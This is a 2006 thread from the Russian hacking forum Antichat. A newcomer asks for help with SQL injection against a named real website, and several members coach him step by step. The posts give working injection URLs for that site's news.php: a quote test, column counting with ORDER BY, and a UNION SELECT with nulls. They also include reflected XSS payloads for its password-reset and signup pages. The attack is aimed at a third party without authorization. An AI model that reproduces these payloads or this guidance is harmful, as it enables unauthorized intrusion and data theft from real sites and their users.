Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Помогите с SQL injection, pls |
14.10.2006, 13:24
|
|
Новичок
Регистрация: 04.10.2006
Сообщений: 5
Провел на форуме:
28510
Репутация:
0
|
|
Помогите с SQL injection, pls
Вообщем нашел один сайтец, там можно провести SQL инъекцию, но у меня не совсем как-то удачно получается  Может кто-нибудь поможет? Заранее thanks 
http://atmsurf.com:80/news.php?ocd=view&id=1'+and+'1'='0
http://atmsurf.com:80/news.php?ocd=view&id='
пробовал много вариантов, но никак не получается.
Кстати сканер выдал еще это:
http://atmsurf.com:80/forgot_pass.php/>'><ScRiPt>alert(125764739)%3B</ScRiPt>
http://atmsurf.com:80/signup.php/>'><ScRiPt>alert(121850224)%3B</ScRiPt> |
|
|
14.10.2006, 13:48
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091
Репутация:
1686
|
|
мож там фильтруется все -- вот и не вышло ???
|
|
|
|
14.10.2006, 13:52
|
|
Новичок
Регистрация: 04.10.2006
Сообщений: 5
Провел на форуме:
28510
Репутация:
0
|
|
Сообщение от genom--
мож там фильтруется все -- вот и не вышло ???
Може быть, поэтому я решил спросить вас. Можно, что либо сделал там или безнадежно
|
|
|
|
14.10.2006, 14:08
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
http://atmsurf.com:80/forgot_pass.php/>'><ScRiPt>alert(125764739)%3B</ScRiPt>
http://atmsurf.com:80/signup.php/>'><ScRiPt>alert(121850224)%3B</ScRiPt>
Acunetix Web Vul рулит ? =)
кол-во столбцов подобрал хоть? влом просто )
или не можешь имена подобрать ?
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
14.10.2006, 14:14
|
|
Новичок
Регистрация: 04.10.2006
Сообщений: 5
Провел на форуме:
28510
Репутация:
0
|
|
Сообщение от blackybr
Acunetix Web Vul рулит ? =)
кол-во столбцов подобрал хоть? влом просто )
или не можешь имена подобрать ?
Ага, хороший сканер=)
Там, кол-во столбцов пробовал подгонять, но постоянно пишут ошибку, хотя там их не много это я знаю.
А, ошибку постоянно выдает
|
|
|
|
14.10.2006, 14:18
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
опиши способ "подгона" )
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
14.10.2006, 14:25
|
|
Новичок
Регистрация: 04.10.2006
Сообщений: 5
Провел на форуме:
28510
Репутация:
0
|
|
Сообщение от blackybr
опиши способ "подгона" )
Ну, допустим
http://atmsurf.com/news.php?ocd=view&id=1'+union+select+null,null/*
так выдает ошибку.
http://atmsurf.com/news.php?ocd=view&id=1+union+select+null,null/*
так нет.
Пробовал еще несколько вариантов.
|
|
|
|
14.10.2006, 14:34
|
|
Участник форума
Регистрация: 13.09.2005
Сообщений: 170
Провел на форуме:
483324
Репутация:
92
|
|
эм а ковычка тут нафиг не нужна
поэтому
http://atmsurf.com/news.php?ocd=view&id=1/*
потом щитаеш кол-во столбцов, с помощью order by
http://atmsurf.com/news.php?ocd=view&id=1 order by 10/*
если выдало ошибку, то столбцов меньше, чем 10
подбираеш пока не узнаеш кол-во столбцов, потом собственно юзаеш union
зы уже сто раз расписали, как это делать |
|
|
|
14.10.2006, 14:37
|
|
Новичок
Регистрация: 04.10.2006
Сообщений: 5
Провел на форуме:
28510
Репутация:
0
|
|
Сообщение от pop_korn
потом щитаеш кол-во столбцов, с помощью order by
http://atmsurf.com/news.php?ocd=view&id=1 order by 10/*
если выдало ошибку, то столбцов меньше, чем 10
А если и 100 и 200 вписываешь?
И ошибку не выдает.
Полей, то всяко 100 не может быть
|
|
|
|
14.10.2006, 14:38
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
_http://atmsurf.com:80/news.php?ocd=view&id=1'+union+select+null,null,nul l,null,null,null,null,null/*
и в чем проблема ? =) валяй даьше..
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
